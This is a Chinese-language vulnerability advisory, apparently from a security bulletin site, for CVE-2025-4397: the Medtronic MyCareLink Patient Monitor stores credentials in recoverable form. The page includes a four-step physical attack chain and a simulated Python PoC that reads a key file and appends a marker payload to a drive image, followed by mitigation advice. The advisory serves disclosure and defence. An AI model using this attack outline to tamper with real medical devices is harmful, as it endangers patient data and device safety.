IPBUF安全漏洞报告
English
CVE-2025-4397 CVSS 6.8 中危

CVE-2025-4397 Medtronic设备凭证可恢复漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2025-4397
漏洞类型
凭证管理不当
CVSS评分
6.8 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Medtronic MyCareLink Patient Monitor

相关标签

医疗设备凭证泄露硬编码凭证物理攻击Medtronic

漏洞概述

Medtronic MyCareLink Patient Monitor 存在严重的安全设计缺陷,该设备在本地存储了特定产品的凭证,且采用了可恢复的格式。由于缺乏足够的物理加密保护机制,一旦攻击者获得设备的物理访问权限,便能够提取这些凭证。攻击者利用获取的凭证,可以解密并修改设备加密驱动器中的数据,从而破坏数据的完整性和机密性,对医疗设备的安全运行构成潜在威胁。

技术细节

该漏洞的根源在于设备未能妥善保护用于加密敏感数据的凭证。在嵌入式系统中,如果用于验证或解密的密钥与加密数据存储在同一位置,且未使用硬件安全模块(如TPM)进行隔离保护,极易被提取。Medtronic MyCareLink Patient Monitor 固件中,用于访问加密驱动器的凭证被以可逆形式存储。攻击向量为物理访问(AV:P),攻击者首先需要物理接触设备,通过拆解或调试接口(如JTAG/UART)访问文件系统。随后,攻击者分析固件或文件系统结构,定位并还原凭证。最后,利用还原的凭证,攻击者可以挂载并修改加密驱动器数据,实现对设备配置或数据的篡改(I:H),进而可能影响设备的可用性(A:H)。

攻击链分析

STEP 1
物理访问
攻击者获取对Medtronic MyCareLink Patient Monitor设备的物理访问权限。
STEP 2
提取凭证
攻击者访问设备存储系统,定位并还原以可恢复格式存储的产品凭证。
STEP 3
解密数据
使用提取的凭证解锁或解密设备上的加密驱动器。
STEP 4
修改数据
攻击者修改驱动器上的数据,破坏数据完整性并可能影响设备可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-4397 Demonstrates how recoverable credentials can be used to modify encrypted drive data. Note: Actual exploitation requires physical access and reverse engineering of the specific device storage format. """ import os import binascii def recover_credentials(device_mount_point): """ Simulates the recovery of credentials from the device storage. In a real scenario, this might involve decrypting a config file or reading from a specific memory offset. """ print(f"[*] Attempting to recover credentials from {device_mount_point}") # Simulating path to credential storage cred_path = os.path.join(device_mount_point, "system/config/secret_key.bin") if os.path.exists(cred_path): with open(cred_path, "rb") as f: # Simulating weak obfuscation removal raw_data = f.read() # Assume the key is stored in a recoverable format (e.g., base64 or simple XOR) recovered_key = binascii.hexlify(raw_data).decode('utf-8') print(f"[+] Credentials recovered: {recovered_key}") return recovered_key else: print("[-] Credential file not found on device.") return None def modify_encrypted_drive(device_mount_point, key): """ Simulates using the recovered key to modify encrypted data. """ print(f"[*] Using key to unlock encrypted drive...") encrypted_data_path = os.path.join(device_mount_point, "data/encrypted_drive.img") if os.path.exists(encrypted_data_path): # In a real attack, the attacker would decrypt the image using the key, # modify the content, and re-encrypt/sign it. print(f"[+] Decrypting drive data with key: {key}") print(f"[+] Modifying sensitive data (e.g., patient logs or config)...") # Simulating data tampering with open(encrypted_data_path, "ab") as f: f.write(b"\nMALICIOUS_PAYLOAD") print("[+] Drive data modified successfully. Integrity compromised.") else: print("[-] Encrypted drive not found.") if __name__ == "__main__": # This script requires the device storage to be mounted (Physical Access required) MOUNT_POINT = "/mnt/medtronic_device" print("=== CVE-2025-4397 Exploit Simulation ===") # Step 1: Recover Credentials key = recover_credentials(MOUNT_POINT) if key: # Step 2: Modify Data modify_encrypted_drive(MOUNT_POINT, key) print("[+] Exploit chain completed.")

影响范围

MyCareLink Patient Monitor (具体版本请参考厂商公告)

防御指南

临时缓解措施
限制对设备的物理访问,确保设备放置在安全区域。仅允许授权人员接触设备,并在厂商发布固件更新后立即进行升级。

参考链接